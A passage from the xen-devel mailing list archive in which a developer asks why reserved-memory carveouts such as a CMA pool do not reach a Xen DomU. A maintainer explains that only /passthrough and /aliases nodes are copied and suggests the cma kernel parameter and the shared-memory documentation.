>>>> ~Â  15Â  Â  Â  Â  Â  Â  Â  Â  Â #size-cells = <2>;
>>>> +Â  16Â  Â  Â  Â  Â  Â  Â  Â  Â ranges;
>>>> +Â  17
>>>> +Â  18Â  Â  Â  Â  Â  Â  Â  Â  Â /* CMA region for framebuffer allocation */
>>>> +Â  19Â  Â  Â  Â  Â  Â  Â  Â  Â linux,cma {
>>>> +Â  20Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â compatible = "shared-dma-pool";
>>>> +Â  21Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â reusable;
>>>> +Â  22Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â size = <0x00 0x08000000>; /* 128MB CMA pool */
>>>> +Â  23Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â linux,cma-default;
>>>> +Â  24Â  Â  Â  Â  Â  Â  Â  Â  Â };
>>>>  Â  Â 25Â  Â  Â  Â  Â };
>>>>  Â  Â 26
>>>>  Â  Â 27Â  Â  Â  Â  Â passthrough {
>>>>  Â  Â 28Â  Â  Â  Â  Â  Â  Â  Â  Â compatible = "simple-bus";
>>>>  Â  Â 29Â  Â  Â  Â  Â  Â  Â  Â  Â ranges;
>>>>  Â  Â 30Â  Â  Â  Â  Â  Â  Â  Â  Â #address-cells = <2>;
>>>>  Â  Â 31Â  Â  Â  Â  Â  Â  Â  Â  Â #size-cells = <1>;
>>>>  Â  Â 32
>>>>  Â  Â 33Â  Â  Â  Â  Â  Â  Â  Â  Â misc_clk: misc_clk {
>>>>  Â  Â 34Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â #clock-cells = <0>;
>>>>  Â  Â 35Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â clock-frequency = <100000000>;
>>>>  Â  Â 36Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â compatible = "fixed-clock";
>>>>  Â  Â 37Â  Â  Â  Â  Â  Â  Â  Â  Â };
>>>>
>>>>  Â  Â 73Â  Â  Â  Â  Â  Â  Â  Â  Â uart@53914000 {
>>>>  Â  Â 74Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â compatible = "ns16550a";
>>>>  Â  Â 75Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â reg = <0x00 0x53914000 0x1000>;
>>>> ~_ 76Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â interrupts = <0 302 4>;
>>>>  Â  Â 77Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â reg-shift = <2>;
>>>>  Â  Â 78Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â reg-io-width = <4>;
>>>>  Â  Â 79Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â clocks = <&misc_clk>;
>>>>  Â  Â 80Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â oversampling-rate = <16>;
>>>>  Â  Â 81Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â programmable-char-timeout = <4>;
>>>>  Â  Â 82Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â status = "okay";
>>>>  Â  Â 83Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â xen,path = "/bus@100000/bus@22000000/uart@53914000";
>>>>  Â  Â 84Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â xen,reg = <0x0 0x53914000 0x1000 0x0 0x53914000>;
>>>>  Â  Â 85Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â xen,force-assign-without-iommu;
>>>>  Â  Â 86Â  Â  Â  Â  Â  Â  Â  Â  Â };
>>>>  Â  Â 87Â  Â  Â  Â  Â  };
>>>>
>>>>  Â  Â 88Â  Â  };
>>>>
>>>>
>>>> And this is my dom1.cfg file:
>>>>
>>>>  Â 1 name = "dom1"
>>>>  Â 2 memory = 256
>>>>  Â 3 vcpus = 4
>>>>  Â 4
>>>>  Â 5 kernel = "/boot/xen-dom1/Image"
>>>>  Â 6 extra = "console=ttyS0,115200n8 earlycon=uart8250,mmio32,0x53914000,115200n8 loglevel=8 root=/dev/xvda rw"
>>>>  Â 7
>>>>  Â 8 # UART1 (0x53914000) passthrough to Dom1 console
>>>>  Â 9 iomem = ["0x53914,1"]
>>>> 11 irqs = [ 334 ]
>>>> 12 dtdev = [ "/bus@100000/bus@22000000/uart@53914000"]
>>>> 13 vif = ["script=vif-route"]
>>>> 14 device_tree = "/boot/xen-dom1/passthrough.dtb"
>>>> 15 #
>>>> 17 disk = ["phy:/dev/vda2,xvda,rw"]
>>>>
>>>>
>>>> Am I doing something wrong? Any help or debugging leads would be really appreciated...
>>>>
>>>> Thank you,
>>>> Beleswar
>>>>
>>>>


From xen-devel-bounces@lists.xenproject.org Fri Jul 24 10:24:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 24 Jul 2026 10:24:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369943.1618402 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnD4H-0000LN-6G; Fri, 24 Jul 2026 10:23:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369943.1618402; Fri, 24 Jul 2026 10:23:49 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnD4H-0000LG-3Y; Fri, 24 Jul 2026 10:23:49 +0000
Received: by outflank-mailman (input) for mailman id 1369943;
 Fri, 24 Jul 2026 10:23:47 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1wnD4F-0000LA-N5
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 10:23:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnD4E-00DpGL-PI
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 12:23:46 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a633d2b-2eae-0a2a0a5409dd-0a2a4509cac8-20
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 12:23:46 +0200
Received: from [52.101.201.63]
 (helo=PH7PR06CU001.outbound.protection.outlook.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a633d30-be1a-0a2a45090019-3465c93f3993-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 12:23:46 +0200
Received: from SJ0PR03CA0118.namprd03.prod.outlook.com (2603:10b6:a03:333::33)
 by MW3PR12MB4411.namprd12.prod.outlook.com (2603:10b6:303:5e::24)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.11; Fri, 24 Jul
 2026 10:23:40 +0000
Received: from SJ1PEPF00001CE2.namprd05.prod.outlook.com
 (2603:10b6:a03:333:cafe::af) by SJ0PR03CA0118.outlook.office365.com
 (2603:10b6:a03:333::33) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.245.11 via Frontend Transport; Fri,
 24 Jul 2026 10:23:40 +0000
Received: from satlexmb07.amd.com (165.204.84.17) by
 SJ1PEPF00001CE2.mail.protection.outlook.com (10.167.242.10) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.270.5 via Frontend Transport; Fri, 24 Jul 2026 10:23:39 +0000
Received: from satlexmb07.amd.com (10.181.42.216) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Fri, 24 Jul
 2026 05:23:38 -0500
Received: from [10.71.196.80] (10.180.168.240) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Fri, 24 Jul 2026 05:23:38 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=o+Kg9HZIvkLNVJBkF3UHp/MI+JDV5przUQEFchYa4mTW5XY050OirP8Cdm1aAHjp9L9RAMvl5GtoDcpT0WU9aH2tPbWdBkyoP40yoQyHXulPFwxPmdDEzHnddKXAGAPk7gdeXkLAT8Pk+SJcR9F3mDp74PXH1UBLmjM8TFlHFtxM//9y+u62JFLlCI9VEkma4HCSzp7Km/uoEUgsns/jfKhVtepz/0sDQM+r7OQo8jgPocw+XSPjxh5qnEA9scwPDEWOovfxhyx/4JfFAMWE7sH2zhFirSf7ZbDoBINQoTcY9Ie35kmdI+HSiUsuUa8S+MjAMWlitxdEk8+ji0FkTw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=9eyWDh2YvX/UVIJ9wBzJzTacSY8Z7ghhw0icosbHuqg=;
 b=p6zQNJ42uZztVyCW5yIiEUglZLn72iGvat/uDeRwJz9mdnpRJFkKb3JfasDI844V47P1bQVweK2RcY6JYjWJ7vmlcK6H/3nU1cpHErP+ylm1rmHSrsrRrE7tc4YWBrn2kf0pQEI8P1D7CdVU8Ma1KC9eyBjqP+a2TueOGnVuF+c4az6INY7qR9WqwCNWl15YBk87KpUvD8lBcCHy2bko+mSGMCISOOY6UMXSUGZwNEfbrVgkHEZp/igTRKzfF5D6YVHhMxNPsfPbdFP4cNtNEHKtoIZ9U3pQmOkTIOpYx7zdwxfcxCW1eMN2H9D65GMvE/FmTI/eKKMzq3YPQLEH7Q==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=ti.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=9eyWDh2YvX/UVIJ9wBzJzTacSY8Z7ghhw0icosbHuqg=;
 b=ceIRpoXygeQV1Ifj1dg8CJwr5H5CJoSZFtQGs1lKaNeORmDUFkjyHgtzwjcSjn9J3UONoNPQAQBTSHkTWQV1VPqVKlC8D+n09yYcy33gIFyOKqPmbLrrcq34DocCqx1E9YMClvj9GY1UMOq1pZfUJ00qA00HE0IbFZTCGeJ5aNE=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb07.amd.com; pr=C
Message-ID: <e99c0c63-7168-48f5-b326-2e0de63457ad@amd.com>
Date: Fri, 24 Jul 2026 12:23:39 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [Query] Unable to probe reserved-memory carveouts in DomU with
 Xen
To: Beleswar Prasad Padhi <b-padhi@ti.com>, <xen-devel@lists.xenproject.org>
References: <ba100bd7-5cc0-4f87-af3c-dca887963d44@ti.com>
 <c042c42e-89a6-4d9e-8b9e-3f6ceb259467@amd.com>
 <92ad79d5-ad28-4b17-ae13-174135d565fe@ti.com>
 <a28c9391-ab8a-4998-b35f-9ef4b539220c@amd.com>
 <0e556bb5-269d-47d7-9ae8-68f06eee9fc0@ti.com>
From: "Orzel, Michal" <michal.orzel@amd.com>
Content-Language: en-US
In-Reply-To: <0e556bb5-269d-47d7-9ae8-68f06eee9fc0@ti.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: SJ1PEPF00001CE2:EE_|MW3PR12MB4411:EE_
X-MS-Office365-Filtering-Correlation-Id: f5162bec-16e6-4574-1ea7-08dee96da135
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|36860700016|1800799024|376014|82310400026|23010399003|22082099003|18002099003|13003099007|10067099003|56012099006|11063799006|4143699003|6133799003;
X-Microsoft-Antispam-Message-Info:
	k7DojR2VLkVmYvehbsAGA5IIGQLgkQ92R/ckFti1UxADm9uw99wrZw77cvDvz5kNxp+udVGB139d/VDy+V11EvPzQB/EJcmWBpxrk+6VHCZbuAUmVkXgpgRfNlC2zazZVug8iBJdVzb4DcDsKrHFyCLtClQ0OwLkUYUyXy2KDhkKF/tuwPGMunXSihnhftPNGFsagFXZMCe53ahKYUPLvRY7AUN4UAK+WVgm28g63swLziSzX1dOgMJUuEWYr0nlbyKTrzXhe99Ls/njmmgtXlRuNvU7CvxlDbnMBDa2LpR17iei2vCtGRiLgriuIBBuvng93bIOQQ863vUc/PkHCznjIk0xdkmM9G0cj7s5Sys+nOYAu3sD5AS+Vs4w7muTDbQNUCFZl7hEt9lR2lkK3S7qDW97nW0V7DAyehRU6GqpXv3uwOITv6/DzoJQnXW/ypQJFKS4oZo5WYTBWsgB7MIfYzoBCssa5AiKof3tGuUE1Gs+Q/FrEDTjkrX6H2G9adqb5mQebXWYhRcpIF/7wZc762yJqTP1932DVl25mgGI7qzBqVds4+++PPZ2bBmCePclI7sACTaOcLKdJeGYtS9gs4Op4uIWtWY1A2juI/EnVSbDvMPl9viIUIRiwcwTSlWUL5jymyNBBZqfUgKRhg==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb07.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(36860700016)(1800799024)(376014)(82310400026)(23010399003)(22082099003)(18002099003)(13003099007)(10067099003)(56012099006)(11063799006)(4143699003)(6133799003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	m3vkmwzAmUvy+OmxfImQXaZImdbKMymYJzyfwKHuV9hyG0+ksKC3xs3Wl4ROG36WKqo5uInC90yOOFoqp4GEPoQzG3ebWEBmeyAZf9lXLQ6BgbePIPPUYU/46fbUvif6IMejLyv7mdIyWl70dsWppS+4o4Cli08ozKDdZt0zuonVIPz09jPHDNPqsVNPWNVIL4UaA+af1WdN86qGEOx5Hs94qZCrTfsph0j2WSm3/YRgJJG/X9QAqVELAXjAAN5LVXKASuFA1IX9ZdRjKCs4Rh0w2Dev9VZ1QwLLtqicXkNln8YyqFq8eHf7Dqnh48sokdRMxMYNmyd72OTAolIm/OZiMNkaqXz3T1Ah/MQIRAqONfBWubeyuhmN+lCgW6CyeApLx+0B+SnrUQOPAmId+2LE/tkDdhICTeVcHbXXQlDYEBL+NW7aA/k/hoKweKeo
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 24 Jul 2026 10:23:39.7153
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: f5162bec-16e6-4574-1ea7-08dee96da135
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb07.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	SJ1PEPF00001CE2.namprd05.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: MW3PR12MB4411
X-purgate-ID: tlsNG-bad1c0/1784888626-3A6DA034-ADB7CE23/0/0
X-purgate-type: clean
X-purgate-size: 7681



On 24-Jul-26 11:26, Beleswar Prasad Padhi wrote:
> 
> On 24/07/26 14:28, Orzel, Michal wrote:
>>
>> On 24-Jul-26 10:32, Padhi, Beleswar wrote:
>>> Hello,
>>>
>>> Thanks for the response! I see, this would solve the cma problem. But 
>>> there are usecases
>>> when we want to use the reserved-memory node; one example is the 
>>> firmware for
>>> remote processors. In that case, how do we passthrough reserved-memory 
>>> nodes to
>>> DomUs?
>> I'm afraid we don't have a solution for that at the moment but this is a
>> limitation we are aware of.
> 
> 
> No problem, I can look into implementing it. Thanks for the
> heads up!
> 
>>  So far, when it comes to /reserved-memory we only
>> have a static shared memory feature allowing to set up a shmem communication
>> region between domUs, where the range is exposed to domains in DT following this
>> spec:
>> https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/Documentation/devicetree/bindings/reserved-memory/xen,shared-memory.txt
> 
> 
> I see, is there any working example or documentation on
> how to use these regions? DT/dom1.cfg configuration?
This is a dom0less feature (for boot time predefined domains) documented here:
https://xenbits.xenproject.org/gitweb/?p=xen.git;a=blob;f=docs/misc/arm/device-tree/booting.txt

For libxl, we don't have a nice way to do that in upstream but you can check our
Xilinx docs:
https://xilinx-wiki.atlassian.net/wiki/spaces/A/pages/1718583312/Xen+on+ARM+Share+memory+between+guests

~Michal

> 
> Thanks a lot,
> Beleswar
> 
>>
>> Cheers,
>> Michal
>>
>>> Example:
>>>  Â 60
>>>  Â 61Â  Â  Â  Â  Â  Â  Â  Â  Â mcu_r52_0_fw_memory_region: memory@a1000000 {
>>>  Â 62Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â compatible = "shared-dma-pool";
>>>  Â 63Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â reg = <0x00 0xa1000000 0x00 0x100000>;
>>>  Â 64Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â no-map;
>>>  Â 65Â  Â  Â  Â  Â  Â  Â  Â  Â };
>>>
>>> Thanks,
>>> Beleswar
>>>
>>> On 7/24/2026 1:52 PM, Orzel, Michal wrote:
>>>> Hi,
>>>>
>>>> I'm afraid this will not work. The reason is that Xen only copies nodes from the
>>>> passthrough DTB to final DTB that are placed under `/passthrough` node and
>>>> `/aliases`. /reserved-memory needs to be under root node `/`, therefore it will
>>>> not be copied. However, it seems like you are not using CMA node specifying a
>>>> fixed memory region (using `reg`) but size. In that case you should be able to
>>>> achieve the same using `cma=128M` kernel cmdline parameter.
>>>>
>>>> ~Michal
>>>>
>>>> On 24-Jul-26 08:55, Beleswar Prasad Padhi wrote:
>>>>> Hi all,
>>>>>
>>>>> I have been trying to use reserved-memory carveouts in DomU, but failing constantly.
>>>>>
>>>>> This is the log from Dom1 boot:
>>>>>
>>>>> [Â  Â  0.000000] earlycon: uart8250 at MMIO32 0x0000000053914000 (options '115200n
>>>>> 8')
>>>>> [Â  Â  0.000000] printk: legacy bootconsole [uart8250] enabled
>>>>> [Â  Â  0.000000] Xen 4.21 support found
>>>>> [Â  Â  0.000000] efi: UEFI not found.
>>>>> *[Â  Â  0.000000] OF: reserved mem: Reserved memory: No reserved-memory node in the DT*
>>>>> [Â  Â  0.000000] Zone ranges:
>>>>> [Â  Â  0.000000]Â  Â DMAÂ  Â  Â  [mem 0x0000000040000000-0x0000000051ffffff]
>>>>> [Â  Â  0.000000]Â  Â DMA32Â  Â  empty
>>>>> [Â  Â  0.000000]Â  Â NormalÂ  Â empty
>>>>> [Â  Â  0.000000] Movable zone start for each node
>>>>> [Â  Â  0.000000] Early memory node ranges
>>>>> [Â  Â  0.000000]Â  Â nodeÂ  Â 0: [mem 0x0000000040000000-0x0000000051ffffff]
>>>>> [Â  Â  0.000000] Initmem setup node 0 [mem 0x0000000040000000-0x0000000051ffffff]
>>>>> [Â  Â  0.000000] On node 0, zone DMA: 24576 pages in unavailable ranges
>>>>> [Â  Â  0.000000] cma: Reserved 32 MiB at 0x000000004f800000
>>>>>
>>>>> This is my passthrough.dts:
>>>>>
>>>>>  Â  Â  1 /*
>>>>>  Â  Â  2 * This is a partial DT for passthrough node to DomU.
>>>>>  Â  Â  3 */
>>>>>  Â  Â  4 #include <dt-bindings/interrupt-controller/irq.h>
>>>>>  Â  Â  5 #include <dt-bindings/interrupt-controller/arm-gic.h>
>>>>>  Â  Â  6
>>>>>  Â  Â  7 /dts-v1/;
>>>>>  Â  Â  8
>>>>>  Â  Â  9 / {
>>>>>  Â  Â 10Â  Â  Â  Â  Â #address-cells = <2>;
>>>>>  Â  Â 11Â  Â  Â  Â  Â #size-cells = <1>;
>>>>>  Â  Â 12
>>>>> ~Â  13Â  Â  Â  Â  Â reserved-memory {
>>>>> ~Â  14Â  Â  Â  Â  Â  Â  Â  Â  Â #address-cells = <2>;
>>>>> ~Â  15Â  Â  Â  Â  Â  Â  Â  Â  Â #size-cells = <2>;
>>>>> +Â  16Â  Â  Â  Â  Â  Â  Â  Â  Â ranges;
>>>>> +Â  17
>>>>> +Â  18Â  Â  Â  Â  Â  Â  Â  Â  Â /* CMA region for framebuffer allocation */
>>>>> +Â  19Â  Â  Â  Â  Â  Â  Â  Â  Â linux,cma {
>>>>> +Â  20Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â compatible = "shared-dma-pool";
>>>>> +Â  21Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â reusable;
>>>>> +Â  22Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â size = <0x00 0x08000000>; /* 128MB CMA pool */
>>>>> +Â  23Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â linux,cma-default;
>>>>> +Â  24Â  Â  Â  Â  Â  Â  Â  Â  Â };
>>>>>  Â  Â 25Â  Â  Â  Â  Â };
>>>>>  Â  Â 26
>>>>>  Â  Â 27Â  Â  Â  Â  Â passthrough {
>>>>>  Â  Â 28Â  Â  Â  Â  Â  Â  Â  Â  Â compatible = "simple-bus";
>>>>>  Â  Â 29Â  Â  Â  Â  Â  Â  Â  Â  Â ranges;
>>>>>  Â  Â 30Â  Â  Â  Â  Â  Â  Â  Â  Â #address-cells = <2>;
>>>>>  Â  Â 31Â  Â  Â  Â  Â  Â  Â  Â  Â #size-cells = <1>;
>>>>>  Â  Â 32
>>>>>  Â  Â 33Â  Â  Â  Â  Â  Â  Â  Â  Â misc_clk: misc_clk {
>>>>>  Â  Â 34Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â #clock-cells = <0>;
>>>>>  Â  Â 35Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â clock-frequency = <100000000>;
>>>>>  Â  Â 36Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â compatible = "fixed-clock";
>>>>>  Â  Â 37Â  Â  Â  Â  Â  Â  Â  Â  Â };
>>>>>
>>>>>  Â  Â 73Â  Â  Â  Â  Â  Â  Â  Â  Â uart@53914000 {
>>>>>  Â  Â 74Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â compatible = "ns16550a";
>>>>>  Â  Â 75Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â reg = <0x00 0x53914000 0x1000>;
>>>>> ~_ 76Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â interrupts = <0 302 4>;
>>>>>  Â  Â 77Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â reg-shift = <2>;
>>>>>  Â  Â 78Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â reg-io-width = <4>;
>>>>>  Â  Â 79Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â clocks = <&misc_clk>;
>>>>>  Â  Â 80Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â oversampling-rate = <16>;
>>>>>  Â  Â 81Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â programmable-char-timeout = <4>;
>>>>>  Â  Â 82Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â status = "okay";
>>>>>  Â  Â 83Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â xen,path = "/bus@100000/bus@22000000/uart@53914000";
>>>>>  Â  Â 84Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â xen,reg = <0x0 0x53914000 0x1000 0x0 0x53914000>;
>>>>>  Â  Â 85Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â xen,force-assign-without-iommu;
>>>>>  Â  Â 86Â  Â  Â  Â  Â  Â  Â  Â  Â };
>>>>>  Â  Â 87Â  Â  Â  Â  Â  };
>>>>>
>>>>>  Â  Â 88Â  Â  };
>>>>>
>>>>>
>>>>> And this is my dom1.cfg file:
>>>>>
>>>>>  Â 1 name = "dom1"
>>>>>  Â 2 memory = 256
>>>>>  Â 3 vcpus = 4
>>>>>  Â 4
>>>>>  Â 5 kernel = "/boot/xen-dom1/Image"
>>>>>  Â 6 extra = "console=ttyS0,115200n8 earlycon=uart8250,mmio32,0x53914000,115200n8 loglevel=8 root=/dev/xvda rw"
>>>>>  Â 7
>>>>>  Â 8 # UART1 (0x53914000) passthrough to Dom1 console
>>>>>  Â 9 iomem = ["0x53914,1"]
>>>>> 11 irqs = [ 334 ]
>>>>> 12 dtdev = [ "/bus@100000/bus@22000000/uart@53914000"]
>>>>> 13 vif = ["script=vif-route"]
>>>>> 14 device_tree = "/boot/xen-dom1/passthrough.dtb"
>>>>> 15 #
>>>>> 17 disk = ["phy:/dev/vda2,xvda,rw"]
>>>>>
>>>>>
>>>>> Am I doing something wrong? Any help or debugging leads would be really appreciated...
>>>>>
>>>>> Thank you,
>>>>> Beleswar
>>>>>
>>>>>



From xen-devel-bounces@lists.xenproject.org Fri Jul 24 12:14:44 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 24 Jul 2026 12:14:44 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369985.1618415 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnEnR-0007Do-TQ; Fri, 24 Jul 2026 12:14:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369985.1618415; Fri, 24 Jul 2026 12:14:33 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnEnR-0007Dg-QQ; Fri, 24 Jul 2026 12:14:33 +0000
Received: by outflank-mailman (input) for mailman id 1369985;
 Fri, 24 Jul 2026 12:10:39 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <adrian.larumbe@collabora.com>) id 1wnEje-0006zc-UW
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 12:10:39 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnEje-006mb8-4h
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 14:10:38 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <adrian.larumbe@collabora.com>)
 id 6a63563a-bab6-0a2a0a5309dd-0a2a4501a7f4-12
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 14:10:37 +0200
Received: from [136.143.188.11] (helo=sender4-op-o11.zoho.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <adrian.larumbe@collabora.com>)
 id 6a63563b-5984-0a2a45010019-888fbc0b42f5-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 14:10:37 +0200
Received: by mx.zohomail.com with SMTPS id 1784894955910533.5313550215117;
 Fri, 24 Jul 2026 05:09:15 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
